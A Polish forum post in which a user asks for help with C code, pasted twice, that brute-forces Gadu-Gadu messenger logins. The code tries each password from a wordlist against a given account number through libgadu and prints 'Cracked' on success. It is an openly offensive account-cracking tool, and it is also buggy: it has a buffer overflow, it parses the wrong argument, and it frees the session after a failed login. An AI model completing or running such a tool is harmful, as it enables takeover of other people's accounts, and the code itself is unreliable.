Martini9008
Użytkownik
- Dołączył
- Sierpień 19, 2011
- Posty
- 6
mam problem z tym kodem mógłby ktoś pomóc?? o to kod
#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu
int main(int argc, char **argv)
{
struct gg_session *sess;
struct gg_event *e;
struct gg_login_params p;
/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
gg_debug_level = 0;
/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 3) {
fprintf(stderr, "uzycie: %s <numer> <plik z haslami>\n", argv[0]);
return 1;
}
/*
Deklarujemy zmienne potrzebne do
zliczenia ilosci wierszy
*/
FILE *plik;
int wiersz = 0;
char znak;
//Jesli nie ma pliku z haslami
if((plik = fopen(argv[2], "r")) == NULL)
{
//Informujemy o bledzie i konczymy dzialanie programu
printf("nie mogę otworzyć pliku \n");
return 1;
}
//Dopoki nie dojedziemy do konca pliku
while((znak = getc(plik)) != EOF)
{
if(znak == '\n') { //Zliczamy ilosc wierszy
++wiersz;
}
}
/*
Odczytujemy wiersz
po wierszu z pliku
i zapisujemy wartosc
do zmiennej
*/
FILE *pFile;
int i=0;
char haslo[3];
pFile = fopen(argv[2], "r");
/*
Jesli nie ma pliku z haslami
Informujemy o bledzie i konczymy dzialanie programu
*/
if(pFile == NULL) {
printf("Blad odczytu pliku");
return 1;
} else {
/*
Jazda
*/
for(i=0;i<=wiersz-1;i++) {
fgets(haslo, 131072, pFile);
//Zwalniamy pamiec
memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer, ten sam co wczesniej
p.uin = atoi(argv[2]);
//Zmienna pomocnicza, aby obciac enter
char x;
//Zmienna pomocnicza = haslo z enterem
x=strlen(haslo);
//Haslo z enterem = haslo bez entera
haslo[x-2]='\0';
//Deklarujemy aktualnie testowane haslo
p.password = haslo;
/*
Jesli haslo sie nie zgadza
*/
if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac,
jesli chcemy wyswietlac informacje
o haslach, ktore nie przeszly testu
*/
printf("Bashed: -%s- \n -------------------- \n", haslo);
/*
Zwalnaimy pamiec
*/
gg_free_session(sess);
} else { //Jesli zgadlismy haslo drukujemy je
printf("Cracked: %s \n -------------------- \n", haslo);
return 1;
}
/*
Zwalniamy pamiec
*/
gg_logoff(sess);
gg_free_session(sess);
}
}
return 0; //zakonczenie programu
}
#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu
int main(int argc, char **argv)
{
struct gg_session *sess;
struct gg_event *e;
struct gg_login_params p;
/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
gg_debug_level = 0;
/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 3) {
fprintf(stderr, "uzycie: %s <numer> <plik z haslami>\n", argv[0]);
return 1;
}
/*
Deklarujemy zmienne potrzebne do
zliczenia ilosci wierszy
*/
FILE *plik;
int wiersz = 0;
char znak;
//Jesli nie ma pliku z haslami
if((plik = fopen(argv[2], "r")) == NULL)
{
//Informujemy o bledzie i konczymy dzialanie programu
printf("nie mogę otworzyć pliku \n");
return 1;
}
//Dopoki nie dojedziemy do konca pliku
while((znak = getc(plik)) != EOF)
{
if(znak == '\n') { //Zliczamy ilosc wierszy
++wiersz;
}
}
/*
Odczytujemy wiersz
po wierszu z pliku
i zapisujemy wartosc
do zmiennej
*/
FILE *pFile;
int i=0;
char haslo[3];
pFile = fopen(argv[2], "r");
/*
Jesli nie ma pliku z haslami
Informujemy o bledzie i konczymy dzialanie programu
*/
if(pFile == NULL) {
printf("Blad odczytu pliku");
return 1;
} else {
/*
Jazda
*/
for(i=0;i<=wiersz-1;i++) {
fgets(haslo, 131072, pFile);
//Zwalniamy pamiec
memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer, ten sam co wczesniej
p.uin = atoi(argv[2]);
//Zmienna pomocnicza, aby obciac enter
char x;
//Zmienna pomocnicza = haslo z enterem
x=strlen(haslo);
//Haslo z enterem = haslo bez entera
haslo[x-2]='\0';
//Deklarujemy aktualnie testowane haslo
p.password = haslo;
/*
Jesli haslo sie nie zgadza
*/
if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac,
jesli chcemy wyswietlac informacje
o haslach, ktore nie przeszly testu
*/
printf("Bashed: -%s- \n -------------------- \n", haslo);
/*
Zwalnaimy pamiec
*/
gg_free_session(sess);
} else { //Jesli zgadlismy haslo drukujemy je
printf("Cracked: %s \n -------------------- \n", haslo);
return 1;
}
/*
Zwalniamy pamiec
*/
gg_logoff(sess);
gg_free_session(sess);
}
}
return 0; //zakonczenie programu
}